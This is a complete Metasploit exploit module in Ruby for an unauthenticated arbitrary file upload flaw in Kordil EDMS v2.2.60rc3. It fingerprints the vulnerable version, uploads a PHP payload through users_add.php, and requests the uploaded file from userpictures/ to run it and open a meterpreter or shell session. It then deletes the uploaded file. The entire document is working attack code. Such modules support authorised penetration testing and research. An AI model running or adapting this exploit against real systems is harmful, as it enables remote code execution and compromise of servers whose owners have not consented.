1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", 'Description'=> %q{ This module exploits a vulnerability in Kordil EDMS v2.2.60rc3. This application has an upload feature that allows an unauthenticated user to upload arbitrary files to the '/kordil_edms/userpictures/' directory. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit ], 'References' => [ #['OSVDB', ''], #['EDB', ''], ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Feb 22 2013", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']), ], self.class) end def check base= target_uri.path peer= "#{rhost}:#{rport}" # retrieve software version from login page begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(base, 'global_group_login.php') }) if res and res.code == 200 if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/ return Exploit::CheckCode::Vulnerable elsif res.body =~ /Kordil EDMS v/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def upload(base, file) data = Rex::MIME::Message.new data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"") data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"') data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"') data.add_part("n", nil, nil, 'form-data; name="act"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(base, 'users_add.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> data_post }) return res end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}.php") else client.shell_command_token("rm #{@fname}.php") end end def exploit base = target_uri.path @peer= "#{rhost}:#{rport}" @fname = rand_text_numeric(7) # upload PHP payload to userpictures/[fname].php print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") php= %Q|<?php #{payload.encoded} ?>| begin res = upload(base, php) if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/ print_good("#{@peer} - File uploaded successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)") begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(base, 'userpictures', "#{@fname}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end end end |